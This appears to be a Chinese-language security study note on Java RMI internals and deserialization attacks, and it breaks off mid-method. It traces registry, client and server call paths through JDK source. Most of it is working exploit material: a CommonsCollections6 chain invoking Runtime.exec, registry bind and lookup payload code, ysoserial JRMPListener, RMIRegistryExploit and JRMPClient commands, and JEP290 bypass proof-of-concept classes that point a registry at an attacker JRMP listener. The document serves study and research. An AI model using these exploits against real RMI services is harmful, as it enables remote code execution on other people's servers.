https://xz.aliyun.com/t/8706#toc-14
https://xz.aliyun.com/t/7932#toc-4
https://www.anquanke.com/post/id/204740#h3-8
https://www.anquanke.com/post/id/200860#h2-3
远程方法调用,让一个java虚拟机上的对象调用另一个java虚拟机对象上的方法,对象是使用序列化传输
执行远程方法的时候,还是在远程服务上执行的。
package org.zzlearn_test.RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface ServiceInterface extends Remote {
String hello(String a) throws RemoteException;//在客户端中也需要调用该接口,所以需要将需要实现的方法写在这里
}
package org.zzlearn_test.RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Service extends UnicastRemoteObject implements ServiceInterface {
protected Service() throws RemoteException {
super();
}
public String hello(String a) throws RemoteException {
System.out.println("call from "+a);
return "Hello " + a;
}
}
package org.zzlearn_test.RMI;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
private void start() throws Exception {
serivce h = new serivce();
LocateRegistry.createRegistry(1091);
Naming.bind("rmi://127.0.0.1:1091/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
package org.zzlearn_test.RMI;
import java.rmi.Naming;
public class RMIClient {
public static void main(String[] args) throws Exception {
ServiceInterface hello = (ServiceInterface)
Naming.lookup("rmi://127.0.0.1:1091/Hello");
String ret = hello.hello("test2");
System.out.println( ret);
}
}
//如果引用远程接口serialVersionUID必须一致。
获取注册中心有两种方式,LocateRegistry.createRegistry和LocateRegistry.getRegistry
createRegistry有两种实现方法
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}
public static Registry createRegistry(int port, RMIClientSocketFactory csf,RMIServerSocketFactory ssf)throws RemoteException{
return new RegistryImpl(port, csf, ssf);
}
但是一般采用第一种,直接传入port即可,两种都是获取一个RegistryImpl对象。
在new RegistryImpl时,LiveRef中封装了ip,端口等信息(高版本会加入filter等等),然后传入UnicastServerRef中,进行一下数据的封装。
LiveRef var1x = new LiveRef(RegistryImpl.id, var1);
RegistryImpl.this.setup(new UnicastServerRef(var1x));
进入RegistryImpl.this.setup
private void setup(UnicastServerRef var1) throws RemoteException {
this.ref = var1;
var1.exportObject(this, (Object)null, true);
}
进入var1.exportObject,var1就是UnicastServerRef对象。
。。。。。。
最终调用TCPTransport的exportObject方法,然后开启监听。
最终通过ObjectTable.getTarget()从socket流中获取ObjId,然后通过ObjId获取Target对象,然后调用UnicastServerRef#dispatch -》 UnicastServerRef#oldDispatch -》 RegistryImpl_Skel#dispatch,然后根据参数(0就是bind,2就是lookup)处理请求,所以无论是客户端还是服务端最终处理请求都是通过创建RegistryImpl对象进行调用。
通过UnicastRef包装LiveRef,里面包含了ObjID、host、port等信息。
public static Registry getRegistry(String host, int port,RMIClientSocketFactory csf)throws RemoteException{
......
LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}
然后创建一个RegistryImpl_Stub
对象
private static RemoteStub createStub(Class<?> remoteClass, RemoteRef ref)
throws StubNotFoundException
{
String stubname = remoteClass.getName() + "_Stub";
try {
Class<?> stubcl =
Class.forName(stubname, false, remoteClass.getClassLoader());
Constructor<?> cons = stubcl.getConstructor(stubConsParamTypes);
return (RemoteStub) cons.newInstance(new Object[] { ref });
最终获得一个RegistryImpl_Stub
对象
最终在服务端通过createRegistry返回的是RegistryImpl对象,里面有个bindings,以键值储存了绑定的对象,使用bind、unbind、rebind都会直接进入绑定阶段。所以使用createRegistry返回的RegistryImpl对象是无法打注册端的,直接就注册了,根本就没有传输到注册端过程。
Registry registry = LocateRegistry.createRegistry(1091);
registry.bind("rmi://127.0.0.1:1091/Hello", h);
进入bind方法
public void bind(String var1, Remote var2) throws RemoteException, AlreadyBoundException, AccessException {
checkAccess("Registry.bind");
synchronized(this.bindings) {
Remote var4 = (Remote)this.bindings.get(var1);
if (var4 != null) {
throw new AlreadyBoundException(var1);
} else {
this.bindings.put(var1, var2);
如果使用LocateRegistry.*getRegistry*
那么就会获得一个RegistryImpl_Stub对象,进入bind方法,先执行newCall方法,在里面会写入一些数据。然后序列化对象名称和要绑定的对象。然后invoke方法将数据发送到注册端。
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
super.ref.invoke(var3);
super.ref.done(var3);
注册端接收数据
然后交给UnicastServerRef#dispatch处理,dispatch会得到传输过来的两个对象
可以看见skel值不为null,就会进入oldDispatch中进行,然后进入RegistryImpl_Skel#dispatch
在注册中心的RegistryImpl_Skel#dispatch方法里面执行readObject操作。然后执行对应操作(bind、unbind)
当然高版本会有其他操作,检查绑定ip等等
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch(var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
......
var6.bind(var7, var8);
然后进入bind函数,到这里与createRegistry直接使用bind就是一样的了。
客户端执行lookup后会生成一个代理对象,所以执行方法会进入代理对象的invoke方法
判断要调用的方法是否在所有对象中有,然后进入invokeObjectMethod或者invokeRemoteMethod
public Object invoke(Object proxy, Method method, Object[] args){
if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
......
} else {
return invokeRemoteMethod(proxy, method, args);
}
}
然后进入RemoteObjectInvocationHandler#invokeRemoteMethod,然后执行ref.invoke,将proxy, method, args,和method的hash传入
private Object invokeRemoteMethod(Object proxy,Method method,Object[] args)throws Exception{
......
return ref.invoke((Remote) proxy, method, args,getMethodHash(method));
然后进入UnicastRef#invoke->TCPChannel#newConnection发送数据
然后回到UnicastRef#invoke->UnicastRef#marshalValue将传递的参数序列化写入连接。
然后回到UnicastRef#invoke执行var7.executeCall();
传输数据并获取结果。
然后在UnicastRef#invoke的Object var50 = *unmarshalValue*(var49, (ObjectInput)var11);
,然后执行readObject,使用的是jdk自带的readObject。
服务端通过Transport#serviceCall获取传输过来的信息
然后交给UnicastServerRef#dispatch处理,dispatch会得到传输过来的两个对象
进入UnicastServerRef后,skel为null,就不会进入注册(bind、unbind等等)处理
一直执行到params = unmarshalParameters(obj, method, marshalStream);
进行数据处理,判断是否为DeserializationChecker的实例
private Object[] unmarshalParameters(Object obj, Method method, MarshalInputStream in)
throws IOException, ClassNotFoundException {
return (obj instanceof DeserializationChecker) ?
unmarshalParametersChecked((DeserializationChecker)obj, method, in) :
unmarshalParametersUnchecked(method, in);
}
进入unmarshalParametersUnchecked
private Object[] unmarshalParametersUnchecked(Method method, ObjectInput in)
throws IOException, ClassNotFoundException {
Class<?>[] types = method.getParameterTypes();
Object[] params = new Object[types.length];
for (int i = 0; i < types.length; i++) {
params[i] = unmarshalValue(types[i], in);
}
return params;
}
进入unmarshalValue(types[i], in);
执行readObject
执行的方法是使用的服务端的方法,但是我们如何利用嘞
可以访问RMI Registry
如果服务器上存在一些危险方法,可以对危险方法进行探测:https://github.com/NickstaDB/BaRMIe
由于RMI传输数据会经过序列化和反序列化,可以直接传输gadget chain
codebase是一个地址告诉虚拟机在哪里搜索类,如:codebase=http://example.com/,就会加载org.vulhub.example.Example类,在RMI流程中,客户端和服务端传递的是序列化后的对象,在这些对象反序列时就会去寻找类,寻找时会先在ClassPath下寻找,然后在codebase中寻找。如果可以控制codebase就能加载恶意类。并且在RMI中,我们可以将codebase一起随着序列化数据一起传送。
但是只有如下条件的服务器才能被攻击:
System.*setSecurityManager*(new RMISecurityManager());
否则java只会信任默认配置好的codebase
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient
条件:
public class RMIClient {
public static void main(String[] args) throws Exception {
Object seri = CommonsCollections6TemplatesImpl();
ServiceInterface hello = (ServiceInterface)
Naming.lookup("rmi://127.0.0.1:1091/Hello");
String ret = hello.hello(seri);
System.out.println(ret);
}
}
jdk 8u66
反序列化的利用点就是UnicastRef的unmarshalValue方法。
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
return var1.readObject();
}
}
只要不是基本类型都能进入var1.readObject();
,如果传入的数据类型是Object,我们可以利用任何可以利用的链,但是如果是String类型的嘞,这样就无法传入类似于CC6那种Map的利用链,如果直接修改客户端接口类型会在验证Method Hash阶段报错,所以不仅要修改参数类型还需要修改Method Hash,或者先计算出正确的Hash然后替换参数。
国外的大佬afanti总结了几种利用方式
利用工具:https://github.com/Afant1/RemoteObjectInvocationHandler
修改VM参数:-javaagent:E:\windows\download\rasp-1.0-SNAPSHOT.jar
将其中的URLDNS更换为CC6的利用链
package afanti.rasp.util;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static Object getObject(final String url) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{url}),
new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(lazyMap, "x");
HashSet hashSet = new HashSet(1);
hashSet.add("test");
// 反射获取HashSet中map的值
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
// 取消访问限制检查
map.setAccessible(true);
// 获取HashSet中map的值
HashMap hashSetMap = (HashMap) map.get(hashSet);
// 反射获取 HashMap 中 table 的值
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
// 取消访问限制检查
table.setAccessible(true);
// 获取 HashMap 中 table 的值
Object[] hashMapTable = (Object[]) table.get(hashSetMap);
Object node = hashMapTable[0];
if (node == null) {
node = hashMapTable[1];
}
// 将 key 设为 tiedMapEntry
Reflections.setFieldValue(node, "key", tme);
return hashSet;
}
}
具体实现是hook InvokeRemoteMethod函数,强制更改了参数值。
这个与注册中攻击客户端一样,用处不大。
直接返回恶意数据,客户端会反序列化恶意数据,从而造成命令执行
注册中心也会返还数据给客户端,也是序列化的数据客户端也会反序列化。
利用ysoserial:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc.exe"
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RegistryToClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.unbind("http://127.0.0.1/Hello");
}
}
lookup、bind、unbind、rebind都能受到攻击。
bind,rebind,unbind,lookup都是一样的。不过unbind和lookup只能传输字符串,但我们可以利用反射等方法修改数据。
RMIserver
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
private void start() throws Exception {
Service h = new Service();
LocateRegistry.createRegistry(1091);
Naming.bind("rmi://127.0.0.1:1091/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
为什么使用Naming:Naming就是相当于registry的一个封装,这里不能直接使用createRegistry返回的对象的bind、rebind等等。可以使用LocateRegistry.*getRegistry*();
这和Naming返回的对象都是RegistryImpl_Stub而不是createRegistry方法返回的RegistryImpl对象。具体的执行步骤可以看上面。
ysoserial:java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1091 CommonsCollections1 "calc.exe"
触发点在RegistryImpl_Skel.class,低版本这个文件并不能直接找到,需要在RegistryImpl.class的bind方法打断点然后看调用栈才能看见,使用rebind,unbind等等就在对应位置打断点。
case 0就是bind分支,其中的
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch(var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
其种的String和Remote类型的参数都可以作为攻击手段,ysoserial就是利用的Remote参数,需要将恶意链包装为Remote参数,而Barmi就是利用的String参数,利用String参数就需要自己构建字节流
包装Remote可以利用动态代理或者自己实现接口
public class ServerRegistry {
public static Remote Payload() throws Exception {
Object seri = CommonsCollections6TemplatesImpl("calc.exe");
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, seri);
Remote proxyEvalObject = (Remote)Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, evalObject);
return proxyEvalObject;
}
public static void ServerRegistry() throws Exception {
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1/1099/Hello", Payload());
}
public static void main(String[] args) throws Exception {
ServerRegistry();
}
}
利用Remote包装
private static class BindExploit implements Remote, Serializable {
private final Object memberValues;
private BindExploit(Object payload) {
memberValues = payload;
}
}
Remote remote_lala = new BindExploit(payload);
由于lookup只接受String类型参数,所以需要我们模仿lookup传参过程。
package org.payload.rmi.rmiRegistry;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.Map;
import static org.payload.CC.CC6.CommonsCollections6TemplatesImpl.CommonsCollections6TemplatesImpl;
public class ClientToRegistry {
public static void main(String[] args) throws Exception {
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object seri = CommonsCollections6TemplatesImpl("calc.exe");
InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, seri);
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, evalObject));
//LocateRegistry.createRegistry(1091);
Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1091);
// 获取super.ref
Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);
// 获取operations
Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);
// 跟lookup方法一样的传值过程
RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(proxyEvalObject);
ref.invoke(var2);
}
}
攻击注册中心时,注册中心会直接把异常返还给客户端。
分布式垃圾收集机制,在java中如果一个对象没有被任何变量引用那么就可以被垃圾回收机制回收,对于远程对象,不仅会在本地引用,Registry注册表也会持有引用。当客户端获取一个远程对象时,就会向DGC发送一个租赁消息。因此可以利用与DGC的通信进行反序列化漏洞
与RMI通信不同的是,通过UnicastServerRef#OldDispatch进入DGCImpl_Skel#dispatch。通过case分支执行dirty(租赁、续租)或者clean(清除),然后执行到对应的readObject。
case 1:
Lease var10;
try {
ObjectInput var11 = var2.getInputStream();
var7 = (ObjID[])((ObjID[])var11.readObject());
var8 = var11.readLong();
var10 = (Lease)var11.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}
Lease var40 = var6.dirty(var7, var8, var10);
这里的readObject也是我们可以利用的,直接打注册端。
ysoserial:java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1091 CommonsCollections5 "calc.exe"
适用范围
8u121,7u131,6u141及其之后版本
白名单
String Number Remote Proxy UnicastRef RMIClientSocketFactory RMIServerSocketFactory ActivationID UID
实现方法
提供了一个ObjectInputFilter接口,通过设置filter对象在反序列化(ObjectInputStream#readObject)时触发filter检测。
在JEP290之后只有server和client直接传输恶意数据可以利用,而其他攻击方法都失效了,会显示REJECTED。
我们代理的Remote对象也不能通过,虽然是Remote类型,但是在反序列化时会对其内部字段也进行反序列化,内部白名单外的类都会被检查,外层的Remote虽然过了检查,但是其他恶意类也无法通过,也会被拦截。
在ObjectInputStream中
readObject->readObject0->readOrdinaryObject->readClassDesc->readProxyDesc或者
readNonProxyDesc->filterCheck
RegistryImpl_Skel#dispatch中执行readObject,然后一步步执行到过滤器这里,可以看见Remote动态代理是成功通过检查的,但是后面的AnnotationInvocationHandler
就被拦截了。
但是这里的filter为什么是registryFilter?
在RegistryImpl中,RegistryImpl::registryFilter
作为一个Lambda表达式,相当于info->RegistryImpl.registryFilter(info)
public RegistryImpl(int port,
RMIClientSocketFactory csf,
RMIServerSocketFactory ssf)
throws RemoteException
{
this(port, csf, ssf, RegistryImpl::registryFilter);
}
在RegistryImpl生成的时候就传递给UnicastServerRef2
public RegistryImpl(int port,
RMIClientSocketFactory csf,
RMIServerSocketFactory ssf,
ObjectInputFilter serialFilter)
throws RemoteException
{
if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
// grant permission for default port only.
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws RemoteException {
LiveRef lref = new LiveRef(id, port, csf, ssf);
setup(new UnicastServerRef2(lref, serialFilter));
return null;
}
}, null, new SocketPermission("localhost:"+port, "listen,accept"));
} catch (PrivilegedActionException pae) {
throw (RemoteException)pae.getException();
}
} else {
LiveRef lref = new LiveRef(id, port, csf, ssf);
setup(new UnicastServerRef2(lref, serialFilter));
}
}
-------------------------》
public UnicastServerRef2(LiveRef ref,
ObjectInputFilter filter)
{
super(ref, filter);
}
----------------------》
public UnicastServerRef(LiveRef ref, ObjectInputFilter filter) {
super(ref);
this.filter = filter;
}
在创建时后一直作为UnicastServerRef的变量,在进行处理的时候才传递给ObjectInputStream。
查看ObjectInputStream#filterCheck
private void filterCheck(Class<?> clazz, int arrayLength)
throws InvalidClassException {
if (serialFilter != null) {
RuntimeException ex = null;
ObjectInputFilter.Status status;
// Info about the stream is not available if overridden by subclass, return 0
long bytesRead = (bin == null) ? 0 : bin.getBytesRead();
try {
status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,
totalObjectRefs, depth, bytesRead));
这里的serialFilter就是RegistryImpl$$Lambda。所以最终会执行到RegistryImpl#registryFilter
JEP290是需要我们手动设置的。
在攻击注册端时会被拦截是因为需要传输RegistryImpl对象,这样才能执行到dispatch分支,因为RegistryImpl中主动设置了(RegistryImpl::registryFilter),传输的RegistryImpl对象就有filter。
但是在客户端和服务端相互传输的数据是由UnicastServerRef对象包装。可以看前面的服务端接收数据,filter为null。
适用版本:8u121-8u230
利用过程
package org.payload.rmi.rmiServer;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
private void start() throws Exception {
Service h = new Service();
Registry registry = LocateRegistry.createRegistry(1091);
Naming.bind("rmi://127.0.0.1:1091/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections5 "calc.exe"
package org.payload.rmi.rmiRegistry.ToRegistry;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class JRMPToRegistry {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("127.0.0.1",1091);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1234);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Registry.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("test12",proxy);
}
}
RMI中的过滤器只允许白名单中的类通过,那么我们只需要找一个白名单中的类,利用它的readObject即可
服务端客户端与Registry通信都需要UnicastRef,如果我们能控制UnicastRef中的host、port就可以传输恶意的数据(ip port)。
通过UnicastRef我们可以控制一些数据,但是我们还需要一个readObject来执行连接操作,RemoteObject继承了Remote 和 Serializable 接口,可以通过filter。
查看其readObject方法
private void readObject(ObjectInputStream var1) throws IOException,ClassNotFoundException {
String var2 = var1.readUTF();
if (var2 != null && var2.length() != 0) {
String var3 = "sun.rmi.server." + var2;
Class var4 = Class.forName(var3);
try {
this.ref = (RemoteRef)var4.newInstance();
.....
this.ref.readExternal(var1);
} else {
this.ref = (RemoteRef)var1.readObject();}}
--------------------》
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}
---------------------》
public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
TCPEndpoint var2;
if (var1) {
var2 = TCPEndpoint.read(var0);
} else {
var2 = TCPEndpoint.readHostPortFormat(var0);
}
ObjID var3 = ObjID.read(var0);
boolean var4 = var0.readBoolean();
LiveRef var5 = new LiveRef(var3, var2, false);
if (var0 instanceof ConnectionInputStream) {
ConnectionInputStream var6 = (ConnectionInputStream)var0;
var6.saveRef(var5);
--------------------------》
void saveRef(LiveRef var1) {
Endpoint var2 = var1.getEndpoint();
Object var3 = (List)this.incomingRefTable.get(var2);
if (var3 == null) {
var3 = new ArrayList();
this.incomingRefTable.put(var2, var3);
}
((List)var3).add(var1);
}
read方法会读取ip host然后传入saveRef重新封装,为的是在调用DGCClient#registerRefs时使用。
上面的readObject方法是在RegistryImpl_Skel
case中进行的
case 0:
RegistryImpl.checkAccess("Registry.bind");
try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var80);
执行完readObject后到var2.releaseInputStream();
public void releaseInputStream() throws IOException {
try {
if (this.in != null) {
try {
this.in.done();
} catch (RuntimeException var5) {
}
this.in.registerRefs();
this.in.done(this.conn);
}
this.conn.releaseInputStream();
} finally {
this.in = null;}}
然后执行registerRefs()
void registerRefs() throws IOException {
if (!this.incomingRefTable.isEmpty()) {
Iterator var1 = this.incomingRefTable.entrySet().iterator();
while(var1.hasNext()) {
Entry var2 = (Entry)var1.next();
DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue());
}}}
发起lookup连接
static void registerRefs(Endpoint var0, List<LiveRef> var1) {
DGCClient.EndpointEntry var2;
do {
var2 = DGCClient.EndpointEntry.lookup(var0);
} while(!var2.registerRefs(var1));
}
this.incomingRefTable
就是一个HashMap,就是在前面的saveRef赋值的,里面有传入的恶意JRMP的ip port,然后由DGCClient向恶意的JRMP发起连接。
此时我们的RMI注册端就变成了JRMP客户端,但是最终要这么利用嘞
向恶意JRMP服务器发起dirty请求
执行super.ref.invoke(var5)发送数据和处理接收的数据,
咋executeCall()中执行readObject(),这里是处理服务端发送过来的消息。ysoserial将报错信息改为payload,因为要更改报错信息所以需要自己实现一个服务端。
对于lookup也是可以实现攻击的,虽然只能传入String类型,但是对比起bind、rebind、unbind需要验证ip,lookup就不需要验证ip,只需要修改一下传输数据或者重新实现lookup的代码逻辑就能使用。
修改数据:https://github.com/lalajun/RMIDeserialize/releases
重新实现lookup:https://github.com/wh1t3p1g/ysomap
sun.rmi.transport.DGCImpl_Stub#dirty提前了黑名单
适用版本:8u231-8u240
直接利用了UnicastRemoteObject的readObject然后一路执行到TCPTransport#listen,在TcpEndpoint#newServerSocket,触发动态代理(RemoteObjectInvocationHandler 代理的RMIServerSocketFactory接口)
ServerSocket newServerSocket() throws IOException {
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
}
Object var1 = this.ssf;
if (var1 == null) {
var1 = chooseFactory();
}
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
到RMIServerSocketFactory#invoke->RemoteObjectInvocationHandler#invokeRemoteMethod->UnicastRef#invoke
然后就建立JRMP连接,反序列化ysoserial的数据
在bind或咋rebind的时候在MarshalOutputStream#replaceObject方法,如果对象没有继承RemoteStub,那么UnicastRemoteObject 会被转化成 RemoteObjectInvocationHandler,我们可以利用反射修改enableReplace为false。
poc
package org.payload.rmi.bypassJEP290;
import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.*;
import java.rmi.server.*;
import java.util.Random;
public class Client2 {
public static void main(String[] args) throws Exception {
UnicastRemoteObject payload = getPayload();
Registry registry = LocateRegistry.getRegistry(1091);
bindReflection("pwn", payload, registry);
}
static UnicastRemoteObject getPayload() throws Exception {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1234);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
handler
);
Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
field_ssf.setAccessible(true);
field_ssf.set(unicastRemoteObject, factory);
return unicastRemoteObject;
}
static void bindReflection(String name, Object obj, Registry registry) throws Exception {
Field ref_filed = RemoteObject.class.getDeclaredField("ref");
ref_filed.setAccessible(true);
